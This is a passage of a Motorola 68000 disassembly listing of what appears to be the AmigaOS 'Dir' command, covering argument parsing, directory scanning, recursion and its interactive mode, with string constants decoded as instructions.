MOVE.L #$00010001,D1 ;06B0: 223C00010001
JSR -684(A6) ;06B6: 4EAEFD54
MOVE.L D0,-432(A5) ;06BA: 2B40FE50
BNE.S LAB_000E ;06BE: 660E
MOVEA.L A2,A6 ;06C0: 2C4A
JSR -132(A6) ;06C2: 4EAEFF7C
MOVE.L D0,-464(A5) ;06C6: 2B40FE30
BRA LAB_0022 ;06CA: 600001A6
LAB_000E:
LEA LAB_0028(PC),A0 ;06CE: 41FA0200
MOVE.L A0,D1 ;06D2: 2208
LEA -456(A5),A1 ;06D4: 43EDFE38
MOVE.L A1,D2 ;06D8: 2409
MOVEQ #0,D3 ;06DA: 7600
MOVEA.L A2,A6 ;06DC: 2C4A
JSR -798(A6) ;06DE: 4EAEFCE2
MOVE.L D0,20(A7) ;06E2: 2F400014
TST.L D0 ;06E6: 4A80
BNE.S LAB_000F ;06E8: 660C
JSR -132(A6) ;06EA: 4EAEFF7C
MOVE.L D0,-464(A5) ;06EE: 2B40FE30
BRA LAB_0021 ;06F2: 60000170
LAB_000F:
MOVE.L -452(A5),D1 ;06F6: 222DFE3C
BEQ.S LAB_0017 ;06FA: 6774
MOVEA.L D1,A3 ;06FC: 2641
BRA.S LAB_0016 ;06FE: 606C
LAB_0010:
MOVEQ #0,D0 ;0700: 7000
MOVE.B (A3)+,D0 ;0702: 101B
SUBI #$0041,D0 ;0704: 04400041
BEQ.S LAB_0012 ;0708: 6726
SUBQ #3,D0 ;070A: 5740
BEQ.S LAB_0013 ;070C: 672A
SUBQ #2,D0 ;070E: 5540
BEQ.S LAB_0014 ;0710: 672E
SUBQ #3,D0 ;0712: 5740
BEQ.S LAB_0011 ;0714: 6712
SUBI #$0018,D0 ;0716: 04400018
BEQ.S LAB_0012 ;071A: 6714
SUBQ #3,D0 ;071C: 5740
BEQ.S LAB_0013 ;071E: 6718
SUBQ #2,D0 ;0720: 5540
BEQ.S LAB_0014 ;0722: 671C
SUBQ #3,D0 ;0724: 5740
BNE.S LAB_0015 ;0726: 6620
LAB_0011:
MOVEQ #1,D0 ;0728: 7001
MOVE.L D0,-436(A5) ;072A: 2B40FE4C
BRA.S LAB_0016 ;072E: 603C
LAB_0012:
MOVEQ #1,D0 ;0730: 7001
MOVE.L D0,-448(A5) ;0732: 2B40FE40
BRA.S LAB_0016 ;0736: 6034
LAB_0013:
MOVEQ #1,D0 ;0738: 7001
MOVE.L D0,-444(A5) ;073A: 2B40FE44
BRA.S LAB_0016 ;073E: 602C
LAB_0014:
MOVEQ #1,D0 ;0740: 7001
MOVE.L D0,-440(A5) ;0742: 2B40FE48
BRA.S LAB_0016 ;0746: 6024
LAB_0015:
MOVEA.L A2,A6 ;0748: 2C4A
JSR -60(A6) ;074A: 4EAEFFC4
MOVEQ #0,D1 ;074E: 7200
MOVE.B -1(A3),D1 ;0750: 122BFFFF
MOVE.L D1,32(A7) ;0754: 2F410020
MOVE.L D0,D1 ;0758: 2200
MOVE.L 32(A7),D2 ;075A: 242F0020
JSR -312(A6) ;075E: 4EAEFEC8
LEA LAB_0029(PC),A0 ;0762: 41FA01AE
MOVE.L A0,D1 ;0766: 2208
JSR -948(A6) ;0768: 4EAEFC4C
LAB_0016:
TST.B (A3) ;076C: 4A13
BNE.S LAB_0010 ;076E: 6690
LAB_0017:
TST.L -448(A5) ;0770: 4AADFE40
BEQ.S LAB_0018 ;0774: 6706
BSET #0,-465(A5) ;0776: 08ED0000FE2F
LAB_0018:
TST.L -436(A5) ;077C: 4AADFE4C
BEQ.S LAB_0019 ;0780: 6706
BSET #3,-465(A5) ;0782: 08ED0003FE2F
LAB_0019:
MOVE.L -440(A5),D0 ;0788: 202DFE48
BEQ.S LAB_001A ;078C: 6706
BSET #2,-465(A5) ;078E: 08ED0002FE2F
LAB_001A:
MOVE.L -444(A5),D1 ;0794: 222DFE44
BEQ.S LAB_001B ;0798: 6706
BSET #1,-465(A5) ;079A: 08ED0001FE2F
LAB_001B:
TST.L D0 ;07A0: 4A80
BNE.S LAB_001C ;07A2: 660A
TST.L D1 ;07A4: 4A81
BNE.S LAB_001C ;07A6: 6606
MOVEQ #6,D0 ;07A8: 7006
OR.L D0,-468(A5) ;07AA: 81ADFE2C
LAB_001C:
MOVE.L #$00001000,-742(A5) ;07AE: 2B7C00001000FD1A
MOVE.B #$01,-734(A5) ;07B6: 1B7C0001FD22
TST.L -456(A5) ;07BC: 4AADFE38
BNE.S LAB_001D ;07C0: 6608
LEA LAB_002A+2(PC),A0 ;07C2: 41FA0160
MOVE.L A0,-456(A5) ;07C6: 2B48FE38
LAB_001D:
MOVEA.L -456(A5),A0 ;07CA: 206DFE38
MOVE.L A0,D1 ;07CE: 2208
LEA -750(A5),A1 ;07D0: 43EDFD12
MOVE.L A1,D2 ;07D4: 2409
MOVEA.L A2,A6 ;07D6: 2C4A
JSR -822(A6) ;07D8: 4EAEFCCA
TST.L D0 ;07DC: 4A80
BEQ.S LAB_001E ;07DE: 672C
JSR -132(A6) ;07E0: 4EAEFF7C
MOVE.L D0,-464(A5) ;07E4: 2B40FE30
CMPI.L #$00000130,D0 ;07E8: 0C8000000130
BEQ.S LAB_0020 ;07EE: 6760
MOVE.B -734(A5),D0 ;07F0: 102DFD22
BTST #1,D0 ;07F4: 08000001
BNE.S LAB_0020 ;07F8: 6656
LEA LAB_002B(PC),A0 ;07FA: 41FA012A
MOVE.L A0,D1 ;07FE: 2208
LEA -456(A5),A1 ;0800: 43EDFE38
MOVE.L A1,D2 ;0804: 2409
JSR -954(A6) ;0806: 4EAEFC46
BRA.S LAB_0020 ;080A: 6044
LAB_001E:
MOVE.L -726(A5),D0 ;080C: 202DFD2A
TST.L D0 ;0810: 4A80
BPL.S LAB_001F ;0812: 6A24
MOVE.B -734(A5),D0 ;0814: 102DFD22
BTST #1,D0 ;0818: 08000001
BNE.S LAB_001F ;081C: 661A
MOVE.L #$000000CC,-464(A5) ;081E: 2B7C000000CCFE30
LEA LAB_0030(PC),A1 ;0826: 43FA0120
MOVE.L A1,D1 ;082A: 2209
LEA -456(A5),A0 ;082C: 41EDFE38
MOVE.L A0,D2 ;0830: 2408
JSR -954(A6) ;0832: 4EAEFC46
BRA.S LAB_0020 ;0836: 6018
LAB_001F:
MOVE.B -734(A5),D0 ;0838: 102DFD22
ANDI.B #$F7,D0 ;083C: 020000F7
MOVE.B D0,-734(A5) ;0840: 1B40FD22
MOVEQ #0,D0 ;0844: 7000
LEA -758(A5),A0 ;0846: 41EDFD0A
SUBA.L A1,A1 ;084A: 93C9
BSR LAB_004E ;084C: 6100024A
LAB_0020:
LEA -750(A5),A0 ;0850: 41EDFD12
MOVE.L A0,D1 ;0854: 2208
MOVEA.L A2,A6 ;0856: 2C4A
JSR -834(A6) ;0858: 4EAEFCBE
MOVE.L 20(A7),D1 ;085C: 222F0014
JSR -858(A6) ;0860: 4EAEFCA6
LAB_0021:
MOVEA.L 24(A7),A3 ;0864: 266F0018
MOVEA.L -432(A5),A1 ;0868: 226DFE50
MOVEA.L A3,A6 ;086C: 2C4B
JSR -690(A6) ;086E: 4EAEFD4E
LAB_0022:
MOVE.L -464(A5),D0 ;0872: 202DFE30
BEQ.S LAB_0024 ;0876: 6726
CMPI.L #$00000130,D0 ;0878: 0C8000000130
BEQ.S LAB_0023 ;087E: 6708
MOVE.L D0,D1 ;0880: 2200
MOVEA.L A2,A6 ;0882: 2C4A
JSR -462(A6) ;0884: 4EAEFE32
LAB_0023:
MOVE.L -464(A5),D0 ;0888: 202DFE30
MOVEQ #116,D1 ;088C: 7274
ADD.L D1,D1 ;088E: D281
CMP.L D1,D0 ;0890: B081
BEQ.S LAB_0024 ;0892: 670A
MOVE.L D0,D1 ;0894: 2200
MOVEQ #0,D2 ;0896: 7400
MOVEA.L A2,A6 ;0898: 2C4A
JSR -474(A6) ;089A: 4EAEFE26
LAB_0024:
MOVEA.L A2,A1 ;089E: 224A
MOVEA.L A3,A6 ;08A0: 2C4B
JSR -414(A6) ;08A2: 4EAEFE62
BRA.S LAB_0026 ;08A6: 6010
LAB_0025:
MOVEA #$0004,A0 ;08A8: 307C0004
MOVEA.L (A0),A1 ;08AC: 2250
MOVEA.L 276(A1),A0 ;08AE: 20690114
MOVEQ #122,D0 ;08B2: 707A
MOVE.L D0,148(A0) ;08B4: 21400094
LAB_0026:
MOVE.L -460(A5),D0 ;08B8: 202DFE34
MOVEM.L (A7)+,D2-D3/A2-A3/A6 ;08BC: 4CDF4C0C
UNLK A5 ;08C0: 4E5D
RTS ;08C2: 4E75
LAB_0027:
DC.W $646F ;08C4
DC.W $732E ;08C6
DC.W $6C69 ;08C8
BHI.S LAB_002E ;08CA: 6272
BSR.S LAB_002F ;08CC: 6172
DC.W $7900 ;08CE
LAB_0028:
DC.W $4449 ;08D0
ADDQ.B #1,20304(A4) ;08D2: 522C4F50
ADDQ.B #2,19244(A7) ;08D6: 542F4B2C
DC.W $414C ;08DA
DC.W $4C2F ;08DC
SUBQ.B #1,17481(A4) ;08DE: 532C4449
ADDQ #1,(A3) ;08E2: 5253
MOVE.L (A3),11334(A7) ;08E4: 2F532C46
DC.W $494C ;08E8
DC.W $4553 ;08EA
DC.W $2F53 ;08EC
MOVEA.L A1,A6 ;08EE: 2C49
LINK A4,#17746 ;08F0: 4E544552
MOVE.L (A3),36(A7) ;08F4: 2F530024
ADDQ #3,D5 ;08F8: 5645
DC.W $523A ;08FA
MOVEA.L -(A4),A0 ;08FC: 2064
BVS.S LAB_0033 ;08FE: 6972
DC.W $2033 ;0900
MOVE 13600(A6),-(A3) ;0902: 372E3520
DC.W $2834 ;0906
DC.W $2E36 ;0908
DC.W $2E39 ;090A
DC.W $3129 ;090C
DC.W $0A0D ;090E
DC.W $0000 ;0910
LAB_0029:
MOVEA.L 28788(A7),A0 ;0912: 206F7074
DC.W $696F ;0916
BGT.S LAB_002D ;0918: 6E20
DC.W $6967 ;091A
DC.W $6E6F ;091C
MOVEQ #101,D1 ;091E: 7265
BCC.S LAB_002C ;0920: 640A
LAB_002A:
ORI.B #$00,D0 ;0922: 00000000
LAB_002B:
DC.W $436F ;0926
DC.W $756C ;0928
BCC.S LAB_0031+2 ;092A: 6420
LAB_002C:
DC.W $6E6F ;092C
MOVEQ #32,D2 ;092E: 7420
DC.W $6765 ;0930
MOVEQ #32,D2 ;0932: 7420
BVS.S LAB_0039 ;0934: 696E
DC.W $666F ;0936
MOVEQ #109,D1 ;0938: 726D
LAB_002D:
BSR.S LAB_003D ;093A: 6174
DC.W $696F ;093C
LAB_002E:
BGT.S LAB_0032 ;093E: 6E20
LAB_002F:
DC.W $666F ;0940
MOVEQ #32,D1 ;0942: 7220
DC.W $2573 ;0944
DC.W $0A00 ;0946
LAB_0030:
DC.W $2573 ;0948
LAB_0031:
MOVEA.L 29472(A1),A0 ;094A: 20697320
DC.W $6E6F ;094E
MOVEQ #32,D2 ;0950: 7420
BSR.S LAB_0034 ;0952: 6120
DC.W $6469 ;0954
MOVEQ #101,D1 ;0956: 7265
BLS.S LAB_003F ;0958: 6374
BLE.S LAB_003F ;095A: 6F72
DC.W $790A ;095C
DC.W $0000 ;095E
LAB_0032:
DC.W $4572 ;0960
MOVEQ #111,D1 ;0962: 726F
MOVEQ #44,D1 ;0964: 722C
MOVEA.L -(A3),A0 ;0966: 2063
BVS.S LAB_0043 ;0968: 6972
DC.W $6375 ;096A
DC.W $6C61 ;096C
MOVEQ #32,D1 ;096E: 7220
DC.W $6469 ;0970
LAB_0033:
MOVEQ #101,D1 ;0972: 7265
LAB_0034:
BLS.S LAB_0046 ;0974: 6374
BLE.S LAB_0046 ;0976: 6F72
DC.W $7920 ;0978
BCS.S LAB_0046 ;097A: 656E
MOVEQ #114,D2 ;097C: 7472
DC.W $7920 ;097E
DC.W $666F ;0980
DC.W $756E ;0982
BCC.S LAB_0036+2 ;0984: 640A
DC.W $0000 ;0986
LAB_0035:
MOVEA.L -(A4),A4 ;0988: 2864
BVS.S LAB_0048 ;098A: 6972
MOVE.L -(A0),-(A4) ;098C: 2920
LAB_0036:
MOVEA 27710(A0),A6 ;098E: 3C686C3E
DC.W $0000 ;0992
LAB_0037:
MOVEA.L -(A4),A4 ;0994: 2864
BVS.S LAB_0049 ;0996: 6972
MOVE.L D0,-(A4) ;0998: 2900
LAB_0038:
MOVE.L -(A5),-(A2) ;099A: 2525
DC.W $256C ;099C
DC.W $6473 ;099E
MOVE.L -(A5),-(A2) ;09A0: 2525
DC.W $7320 ;09A2
LAB_0039:
MOVE.L -(A5),-(A2) ;09A4: 2525
DC.W $7300 ;09A6
LAB_003A:
MOVE.L D0,D0 ;09A8: 2000
LAB_003B:
DC.W $203F ;09AA
MOVE.L D0,D0 ;09AC: 2000
LAB_003C:
DC.W $0A00 ;09AE
LAB_003D:
DC.W $4C69 ;09B0
DC.W $7374 ;09B2
DC.W $2069 ;09B4
DC.W $6E63 ;09B6
DC.W $6F6D ;09B8
MOVEQ #108,D0 ;09BA: 706C
BCS.S LAB_004A ;09BC: 6574
BCS.S LAB_0044 ;09BE: 6520
MOVE.L -(A0),-(A6) ;09C0: 2D20
DC.W $0000 ;09C2
LAB_003E:
NEG -(A5) ;09C4: 4465
DC.W $6C65 ;09C6
MOVEQ #101,D2 ;09C8: 7465
BCC.S LAB_0040+2 ;09CA: 640A
DC.W $0000 ;09CC
LAB_003F:
MOVE.L #$686C3E00,D0 ;09CE: 203C686C3E00
LAB_0040:
MOVE.L #$736C3E00,D0 ;09D4: 203C736C3E00
LAB_0042:
MOVE.L -(A5),-(A2) ;09DA: 2525
LAB_0043:
DC.W $256C ;09DC
DC.W $6473 ;09DE
LAB_0044:
MOVE.L -(A5),-(A2) ;09E0: 2525
DC.W $7325 ;09E2
DC.W $2573 ;09E4
DC.W $0000 ;09E6
LAB_0045:
MOVE.L -(A5),-(A2) ;09E8: 2525
LAB_0046:
DC.W $256C ;09EA
DC.W $6473 ;09EC
MOVE.L -(A5),-(A2) ;09EE: 2525
DC.W $2D33 ;09F0
DC.W $3173 ;09F2
MOVE.L -(A0),D0 ;09F4: 2020
MOVE.L -(A5),-(A2) ;09F6: 2525
DC.W $730A ;09F8
DC.W $0000 ;09FA
LAB_0047:
DC.W $453D ;09FC
LAB_0048:
DC.W $454E ;09FE
ADDQ #2,D5 ;0A00: 5445
ADDQ.B #1,21292(A7) ;0A02: 522F532C
DC.W $423D ;0A06
CLR D1 ;0A08: 4241
LAB_0049:
DC.W $434B ;0A0A
MOVE.L (A3),11332(A7) ;0A0C: 2F532C44
DC.W $454C ;0A10
MOVE D4,17740(A6) ;0A12: 3D44454C
DC.W $4554 ;0A16
DC.W $452F ;0A18
SUBQ.B #1,20797(A4) ;0A1A: 532C513D
SUBQ #8,(A5) ;0A1E: 5155
DC.W $4954 ;0A20
DC.W $2F53 ;0A22
MOVEA.L D3,A6 ;0A24: 2C43
DC.W $3D43 ;0A26
DC.W $4F4D ;0A28
DC.W $2F53 ;0A2A
MOVEA.L D3,A6 ;0A2C: 2C43
DC.W $4F4D ;0A2E
DC.W $4D41 ;0A30
LAB_004A:
TRAP #4 ;0A32: 4E44
DC.W $0000 ;0A34
LAB_004B:
DC.W $543D ;0A36
ADDQ #2,(A1)+ ;0A38: 5459
ADDQ #8,D5 ;0A3A: 5045
MOVE.L (A3),11330(A7) ;0A3C: 2F532C42
DC.W $3D42 ;0A40
DC.W $4143 ;0A42
DC.W $4B2F ;0A44
SUBQ.B #1,17477(A4) ;0A46: 532C4445
DC.W $4C3D ;0A4A
NEG D5 ;0A4C: 4445
DC.W $4C45 ;0A4E
ADDQ #2,D5 ;0A50: 5445
DC.W $2F53 ;0A52
MOVEA.L (A1),A6 ;0A54: 2C51
DC.W $3D51 ;0A56
SUBQ #2,A1 ;0A58: 5549
ADDQ.B #2,21292(A7) ;0A5A: 542F532C
DC.W $433D ;0A5E
DC.W $434F ;0A60
DC.W $4D2F ;0A62
SUBQ.B #1,17231(A4) ;0A64: 532C434F
DC.W $4D4D ;0A68
DC.W $414E ;0A6A
NEG.B D0 ;0A6C: 4400
LAB_004C:
EORI #$6F6D,D3 ;0A6E: 0A436F6D
DC.W $6D61 ;0A72
BGT.S LAB_0050 ;0A74: 6E64
DC.W $203F ;0A76
MOVE.L D0,D0 ;0A78: 2000
LAB_004D:
DC.W $496E ;0A7A
MOVEQ #97,D3 ;0A7C: 7661
DC.W $6C69 ;0A7E
BCC.S LAB_004F ;0A80: 6420
MOVEQ #101,D1 ;0A82: 7265
DC.W $7370 ;0A84
BLE.S LAB_0052 ;0A86: 6F6E
DC.W $7365 ;0A88
MOVE.L 8308(A5),D0 ;0A8A: 202D2074
MOVEQ #121,D1 ;0A8E: 7279
MOVEA.L -(A1),A0 ;0A90: 2061
DC.W $6761 ;0A92
BVS.S LAB_0053 ;0A94: 696E
DC.W $0A00 ;0A96
LAB_004E:
LINK A5,#-36 ;0A98: 4E55FFDC
MOVEM.L D2-D7/A2-A3/A6,-(A7) ;0A9C: 48E73F32
MOVE.L D0,D7 ;0AA0: 2E00
LAB_004F:
MOVEA.L A1,A3 ;0AA2: 2649
MOVE.L A0,-32(A5) ;0AA4: 2B48FFE0
SUBA.L A0,A0 ;0AA8: 91C8
MOVE.L A0,-20(A5) ;0AAA: 2B48FFEC
MOVE.L A0,D6 ;0AAE: 2C08
MOVEA.L -32(A5),A2 ;0AB0: 246DFFE0
MOVEQ #20,D0 ;0AB4: 7014
MOVE.L D0,298(A2) ;0AB6: 2540012A
MOVE.L A0,D5 ;0ABA: 2A08
MOVE.L A3,-28(A5) ;0ABC: 2B4BFFE4
BCLR #5,293(A2) ;0AC0: 08AA00050125
MOVE.L 32(A2),D0 ;0AC6: 202A0020
TST.L D0 ;0ACA: 4A80
BLE.S LAB_0051 ;0ACC: 6F22
TST.L D7 ;0ACE: 4A87
BNE.S LAB_0050 ;0AD0: 6608
BTST #1,24(A2) ;0AD2: 082A00010018
BNE.S LAB_0051 ;0AD8: 6616
LAB_0050:
BSET #2,24(A2) ;0ADA: 08EA00020018
LEA 8(A2),A0 ;0AE0: 41EA0008
MOVE.L A0,D1 ;0AE4: 2208
MOVEA.L 4(A2),A6 ;0AE6: 2C6A0004
JSR -828(A6) ;0AEA: 4EAEFCC4
MOVE.L D0,D5 ;0AEE: 2A00
LAB_0051:
BTST #4,22(A2) ;0AF0: 082A00040016
LAB_0052:
BEQ.S LAB_0053 ;0AF6: 670C
MOVE.L #$00000130,D5 ;0AF8: 2A3C00000130
MOVEQ #64,D0 ;0AFE: 7040
MOVE.L D0,290(A2) ;0B00: 25400122
LAB_0053:
TST.L D5 ;0B04: 4A85
BNE LAB_006C ;0B06: 66000316
MOVEA.L 12(A2),A0 ;0B0A: 206A000C
MOVE.L 8(A0),D1 ;0B0E: 22280008
MOVEA.L 4(A2),A6 ;0B12: 2C6A0004
JSR -96(A6) ;0B16: 4EAEFFA0
MOVE.L D0,D6 ;0B1A: 2C00
MOVE.L D6,-24(A5) ;0B1C: 2B46FFE8
MOVEA.L A3,A0 ;0B20: 204B
MOVE.L A0,-28(A5) ;0B22: 2B48FFE4
MOVE.L A0,746(A2) ;0B26: 254802EA
BRA.S LAB_0056 ;0B2A: 6038
LAB_0054:
MOVEA.L 746(A2),A0 ;0B2C: 206A02EA
MOVE.L 4(A0),D1 ;0B30: 22280004
MOVE.L D6,D2 ;0B34: 2406
MOVEA.L 4(A2),A6 ;0B36: 2C6A0004
JSR -420(A6) ;0B3A: 4EAEFE5C
TST.L D0 ;0B3E: 4A80
BNE.S LAB_0055 ;0B40: 6616
BTST #3,24(A2) ;0B42: 082A00030018
BNE.S LAB_0055 ;0B48: 660E
LEA LAB_0032(PC),A1 ;0B4A: 43FAFE14
MOVE.L A1,D1 ;0B4E: 2209
JSR -948(A6) ;0B50: 4EAEFC4C
BRA LAB_007E ;0B54: 6000050E
LAB_0055:
MOVEA.L -32(A5),A2 ;0B58: 246DFFE0
MOVEA.L 746(A2),A0 ;0B5C: 206A02EA
MOVE.L (A0),746(A2) ;0B60: 255002EA
LAB_0056:
TST.L 746(A2) ;0B64: 4AAA02EA
BNE.S LAB_0054 ;0B68: 66C2
BRA LAB_006C ;0B6A: 600002B2
LAB_0057:
BTST #3,24(A2) ;0B6E: 082A00030018
BEQ.S LAB_0058 ;0B74: 670E
BCLR #3,24(A2) ;0B76: 08AA00030018
MOVEQ #116,D5 ;0B7C: 7A74
ADD.L D5,D5 ;0B7E: DA85
BRA LAB_006D ;0B80: 600002A2
LAB_0058:
MOVEA.L -32(A5),A2 ;0B84: 246DFFE0
BTST #4,22(A2) ;0B88: 082A00040016
BEQ.S LAB_0059 ;0B8E: 6710
MOVE.L #$00000130,D5 ;0B90: 2A3C00000130
MOVEQ #64,D0 ;0B96: 7040
MOVE.L D0,290(A2) ;0B98: 25400122
BRA LAB_006D ;0B9C: 60000286
LAB_0059:
MOVEA.L -32(A5),A2 ;0BA0: 246DFFE0
BTST #1,293(A2) ;0BA4: 082A00010125
BEQ LAB_0062 ;0BAA: 6700011E
MOVE.L 32(A2),D0 ;0BAE: 202A0020
TST.L D0 ;0BB2: 4A80
BLE LAB_0062 ;0BB4: 6F000114
MOVEA.L A2,A0 ;0BB8: 204A
LEA 330(A0),A3 ;0BBA: 47E8014A
ADDA #$0024,A2 ;0BBE: D4FC0024
BTST #1,24(A0) ;0BC2: 082800010018
BEQ.S LAB_005A ;0BC8: 6728
TST.L D7 ;0BCA: 4A87
BNE.S LAB_005A ;0BCC: 6624
MOVEA.L -32(A5),A1 ;0BCE: 226DFFE0
MOVEA.L 12(A1),A0 ;0BD2: 2069000C
MOVE.L 8(A0),D1 ;0BD6: 22280008
MOVE.L A3,D2 ;0BDA: 240B
MOVEQ #64,D3 ;0BDC: 7640
ADD.L D3,D3 ;0BDE: D683
MOVEA.L 4(A1),A6 ;0BE0: 2C690004
JSR -402(A6) ;0BE4: 4EAEFE6E
MOVE.L D2,D1 ;0BE8: 2202
MOVE.L A2,D2 ;0BEA: 240A
JSR -882(A6) ;0BEC: 4EAEFC8E
BRA.S LAB_005B ;0BF0: 600C
LAB_005A:
MOVEQ #64,D0 ;0BF2: 7040
ADD.L D0,D0 ;0BF4: D080
MOVEA.L A3,A0 ;0BF6: 204B
MOVEA.L A2,A1 ;0BF8: 224A
JSR LAB_009C(PC) ;0BFA: 4EBA0754
LAB_005B:
MOVEA.L -32(A5),A2 ;0BFE: 246DFFE0
MOVE.L D7,D0 ;0C02: 2007
ADDQ.L #1,D0 ;0C04: 5280
MOVE.L D0,D1 ;0C06: 2200
LSL.L #2,D1 ;0C08: E589
ADD.L D0,D1 ;0C0A: D280
MOVE.L D1,714(A2) ;0C0C: 254102CA
MOVE.L A3,718(A2) ;0C10: 254B02CE
MOVEQ #4,D0 ;0C14: 7004
CMP.L 32(A2),D0 ;0C16: B0AA0020
BNE.S LAB_005C ;0C1A: 660A
LEA LAB_0035(PC),A0 ;0C1C: 41FAFD6A
MOVE.L A0,722(A2) ;0C20: 254802D2
BRA.S LAB_005D ;0C24: 6008
LAB_005C:
LEA LAB_0037(PC),A0 ;0C26: 41FAFD6C
MOVE.L A0,722(A2) ;0C2A: 254802D2
LAB_005D:
LEA 714(A2),A3 ;0C2E: 47EA02CA
MOVE.L A3,-(A7) ;0C32: 2F0B
MOVEA.L 326(A2),A0 ;0C34: 206A0146
LEA LAB_0038(PC),A1 ;0C38: 43FAFD60
BSR LAB_009A ;0C3C: 610006D6
ADDQ #4,A7 ;0C40: 584F
LEA LAB_003A(PC),A0 ;0C42: 41FAFD64
MOVE.L A0,714(A2) ;0C46: 254802CA
BTST #3,293(A2) ;0C4A: 082A00030125
BEQ.S LAB_0061 ;0C50: 6760
BSET #7,293(A2) ;0C52: 08EA00070125
BRA.S LAB_005F ;0C58: 6024
LAB_005E:
MOVE.L 326(A2),D1 ;0C5A: 222A0146
MOVE.L A3,D2 ;0C5E: 240B
MOVEA.L 4(A2),A6 ;0C60: 2C6A0004
JSR -954(A6) ;0C64: 4EAEFC46
LEA LAB_003B(PC),A0 ;0C68: 41FAFD40
MOVE.L A0,D1 ;0C6C: 2208
MOVEQ #0,D2 ;0C6E: 7400
JSR -954(A6) ;0C70: 4EAEFC46
MOVEQ #0,D0 ;0C74: 7000
MOVE.L D0,D1 ;0C76: 2200
MOVEA.L A2,A0 ;0C78: 204A
BSR LAB_0080 ;0C7A: 61000404
LAB_005F:
BTST #7,293(A2) ;0C7E: 082A00070125
BNE.S LAB_005E ;0C84: 66D4
BTST #4,293(A2) ;0C86: 082A00040125
BEQ.S LAB_0060 ;0C8C: 670A
BCLR #4,293(A2) ;0C8E: 08AA00040125
BRA LAB_006D ;0C94: 6000018E
LAB_0060:
MOVEA.L -32(A5),A2 ;0C98: 246DFFE0
BTST #6,293(A2) ;0C9C: 082A00060125
BNE LAB_007E ;0CA2: 660003C0
MOVEQ #20,D0 ;0CA6: 7014
CMP.L 298(A2),D0 ;0CA8: B0AA012A
BNE.S LAB_0062 ;0CAC: 661C
BRA LAB_007E ;0CAE: 600003B4
LAB_0061:
MOVE.L 326(A2),D1 ;0CB2: 222A0146
MOVE.L A3,D2 ;0CB6: 240B
MOVEA.L 4(A2),A6 ;0CB8: 2C6A0004
JSR -954(A6) ;0CBC: 4EAEFC46
LEA LAB_003C(PC),A0 ;0CC0: 41FAFCEC
MOVE.L A0,D1 ;0CC4: 2208
JSR -948(A6) ;0CC6: 4EAEFC4C
LAB_0062:
MOVEA.L -32(A5),A2 ;0CCA: 246DFFE0
MOVEQ #33,D0 ;0CCE: 7021
AND.L 290(A2),D0 ;0CD0: C0AA0122
BEQ.S LAB_0063 ;0CD4: 6730
MOVE.L 32(A2),D0 ;0CD6: 202A0020
TST.L D0 ;0CDA: 4A80
BMI.S LAB_0063 ;0CDC: 6B28
MOVE.L D7,D0 ;0CDE: 2007
ADDQ.L #1,D0 ;0CE0: 5280
MOVEA.L A2,A0 ;0CE2: 204A
LEA -28(A5),A1 ;0CE4: 43EDFFE4
BSR LAB_004E ;0CE8: 6100FDAE
BCLR #3,24(A2) ;0CEC: 08AA00030018
BTST #6,293(A2) ;0CF2: 082A00060125
BNE LAB_007E ;0CF8: 6600036A
MOVEQ #20,D0 ;0CFC: 7014
CMP.L 298(A2),D0 ;0CFE: B0AA012A
BEQ LAB_007E ;0D02: 67000360
LAB_0063:
MOVEA.L -32(A5),A2 ;0D06: 246DFFE0
BTST #2,293(A2) ;0D0A: 082A00020125
BEQ LAB_0069 ;0D10: 670000BA
MOVE.L 32(A2),D0 ;0D14: 202A0020
TST.L D0 ;0D18: 4A80
BPL LAB_0069 ;0D1A: 6A0000B0
MOVEQ #40,D0 ;0D1E: 7028
MOVE.L #$00010001,D1 ;0D20: 223C00010001
MOVEA.L (A2),A6 ;0D26: 2C52
JSR -684(A6) ;0D28: 4EAEFD54
MOVE.L D0,734(A2) ;0D2C: 254002DE
TST.L D0 ;0D30: 4A80
BNE.S LAB_0064 ;0D32: 661E
MOVEA.L 4(A2),A6 ;0D34: 2C6A0004
JSR -132(A6) ;0D38: 4EAEFF7C
MOVE.L D0,294(A2) ;0D3C: 25400126
LEA LAB_003D(PC),A0 ;0D40: 41FAFC6E
MOVE.L A0,D1 ;0D44: 2208
MOVEA.L 4(A2),A6 ;0D46: 2C6A0004
JSR -948(A6) ;0D4A: 4EAEFC4C
BRA LAB_006D ;0D4E: 600000D4
LAB_0064:
MOVEA.L -32(A5),A2 ;0D52: 246DFFE0
MOVEA.L 734(A2),A0 ;0D56: 206A02DE
ADDQ.L #8,A0 ;0D5A: 5088
LEA 36(A2),A1 ;0D5C: 43EA0024
MOVEQ #32,D0 ;0D60: 7020
JSR LAB_009C(PC) ;0D62: 4EBA05EC
MOVEA.L 734(A2),A0 ;0D66: 206A02DE
MOVE.L 32(A2),4(A0) ;0D6A: 216A00200004
LEA -20(A5),A0 ;0D70: 41EDFFEC
MOVE.L A0,742(A2) ;0D74: 254802E6
MOVE.L -20(A5),738(A2) ;0D78: 256DFFEC02E2
BRA.S LAB_0067 ;0D7E: 6038
LAB_0065:
MOVEA.L 738(A2),A0 ;0D80: 206A02E2
ADDQ.L #8,A0 ;0D84: 5088
MOVEA.L 734(A2),A1 ;0D86: 226A02DE
ADDQ.L #8,A1 ;0D8A: 5089
JSR LAB_00A2(PC) ;0D8C: 4EBA05DA
TST.L D0 ;0D90: 4A80
BLE.S LAB_0066 ;0D92: 6F14
MOVEA.L 734(A2),A0 ;0D94: 206A02DE
MOVEA.L 742(A2),A1 ;0D98: 226A02E6
MOVE.L (A1),(A0) ;0D9C: 2091
MOVEA.L 742(A2),A0 ;0D9E: 206A02E6
MOVE.L 734(A2),(A0) ;0DA2: 20AA02DE
BRA.S LAB_0068 ;0DA6: 6016
LAB_0066:
MOVEA.L -32(A5),A2 ;0DA8: 246DFFE0
MOVEA.L 738(A2),A0 ;0DAC: 206A02E2
MOVE.L A0,742(A2) ;0DB0: 254802E6
MOVE.L (A0),738(A2) ;0DB4: 255002E2
LAB_0067:
TST.L 738(A2) ;0DB8: 4AAA02E2
BNE.S LAB_0065 ;0DBC: 66C2
LAB_0068:
TST.L 738(A2) ;0DBE: 4AAA02E2
BNE.S LAB_0069 ;0DC2: 6608
MOVEA.L 742(A2),A0 ;0DC4: 206A02E6
MOVE.L 734(A2),(A0) ;0DC8: 20AA02DE
LAB_0069:
LEA 8(A2),A0 ;0DCC: 41EA0008
MOVE.L A0,D1 ;0DD0: 2208
MOVEA.L 4(A2),A6 ;0DD2: 2C6A0004
JSR -828(A6) ;0DD6: 4EAEFCC4
MOVE.L D0,D5 ;0DDA: 2A00
BTST #0,292(A2) ;0DDC: 082A00000124
BEQ.S LAB_006C ;0DE2: 673A
